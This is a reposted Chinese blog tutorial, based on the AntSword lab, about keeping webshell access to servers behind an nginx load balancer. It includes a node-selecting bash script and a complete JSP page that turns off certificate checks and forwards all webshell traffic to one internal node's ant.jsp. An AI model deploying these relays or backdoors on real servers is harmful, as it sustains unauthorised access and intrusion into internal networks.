当前位置: 首页 > news >正文

解决nginx的负载均衡下上传webshell的问题

目录

环境

问题

访问的ip会变动     

执行命令的服务器未知

 上传大文件损坏

深入内网

解决方案


环境


ps :现在已经拿下服务器了,要解决的是负载均衡问题,

以下是docker环境:

链接: https://pan.baidu.com/s/1cjMfyFbb50NuUtk6JNfXNQ?pwd=1aqw

提取码: 1aqw

在/root/AntSword-Labs-master/loadbalance/loadbalance-jsp路径下开启容器

查看:    

  

浏览器测试下能打开,然后直接用蚁剑连接

问题

访问的ip会变动
     

  负载均衡原理这里不讲了

这里的现象就是在两台服务器上转换,所以想要连接成功, 那就每个服务器都要上传后门即可解决

执行命令的服务器未知


  就是在执行命令时,不知道是哪个服务器执行的,那就多执行几次,也可以轻松解决

 上传大文件损坏


因为是负载均衡,所以上传大一点的文件会被拆开分到不同服务器上导致文件损失,尽量上传小文件,也能行

深入内网


目标服务器不能出内网,但是它有web服务器部署在外网

所以就把隧道上传到目标服务器,与web服务器连接, 就可以把web服务器当成代理进入内网

这样由于负载均衡,传输数据传到一半可能中断传输,就无法建立连接。

解决方案


  1.关一台服务器,不让负载均衡,理论上可行,但是不切实际,真实环境犯法

 2.筛选出指定ip再执行

    写个脚本,然后给两个服务器都上传

#!/bin/bash
MYIP=$(hostname -i)
if [ "$MYIP" == "172.19.0.2" ]; then
        echo -e "Node1. 执行命令。\n=======\n"
        hostname -i
else
        echo "其他节点。请重试。"
fi

   

然后执行:  

但是这样无法解决上传文件、出内网问题,仅适用执行命令的情况

3.在web层面做一次http流量转发

 由于这两台服务器互相是可以访问的,那么思路就是在其中一台服务器上做流量转发

目的就是无论访问哪台服务器,最终流量都去往同一台服务器

 

这里提供一个流量转发的脚本:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
 
<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

   直接上传文件会被分片损坏,所以在蚁剑上直接新建文件,多保存几次即可

    

 

然后修改蚁剑的连接并测试:

 


原文链接:https://blog.csdn.net/vt_yjx/article/details/132273609

http://www.lryc.cn/news/131786.html

相关文章:

  • vue 关闭prettier警告warn
  • 听GPT 讲Prometheus源代码--rules
  • TIA博途_通过EXCEL快速给PLC程序段添加注释信息的方法示例
  • 【力扣】496. 下一个更大元素 I <单调栈、模拟>
  • Java调用https接口添加证书
  • C++入门:函数缺省参数与函数重载
  • Android 场景Scene的使用
  • Python tkinter Notebook标签添加关闭按钮元素,及左侧添加存储状态提示图标案例,类似Notepad++页面
  • 基于web网上订餐系统的设计与实现(论文+源码)_kaic
  • C#生产流程控制(串行,并行混合执行)
  • 【广州华锐视点】VR线上教学资源平台提供定制化虚拟现实学习内容
  • 计算机视觉的应用11-基于pytorch框架的卷积神经网络与注意力机制对街道房屋号码的识别应用
  • 正则表达式:学习使用正则表达式提取网页中的目标数据
  • 最长重复子数组(力扣)动态规划 JAVA
  • JavaWeb_LeadNews_Day6-Kafka
  • ATTCK覆盖度97.1%!360终端安全管理系统获赛可达认证
  • 透视俄乌网络战之一:数据擦除软件
  • 微服务中间件--Nacos
  • 驱动开发点亮led灯
  • 回归预测 | MATLAB实现IPSO-SVM改进粒子群优化算法优化支持向量机多输入单输出回归预测(多指标,多图)
  • 数学建模之“TOPSIS数学模型”原理和代码详解
  • threejs使用gui改变相机的参数
  • 计算机竞赛 图像识别-人脸识别与疲劳检测 - python opencv
  • PHP8的字符串操作3-PHP8知识详解
  • Unity VR:XR Interaction Toolkit 输入系统(Input System):获取手柄的输入
  • 智慧工地一体化云平台源码:监管端、工地端、危大工程、智慧大屏、物联网、塔机、吊钩、升降机
  • C# 表达式体方法 C#算阶乘
  • 互联网发展历程:保护与隔离,防火墙的安全壁垒
  • 基于IMX6ULLmini的linux裸机开发系列七:中断处理流程
  • Postman软件基本用法:浏览器复制请求信息并导入到软件从而测试、发送请求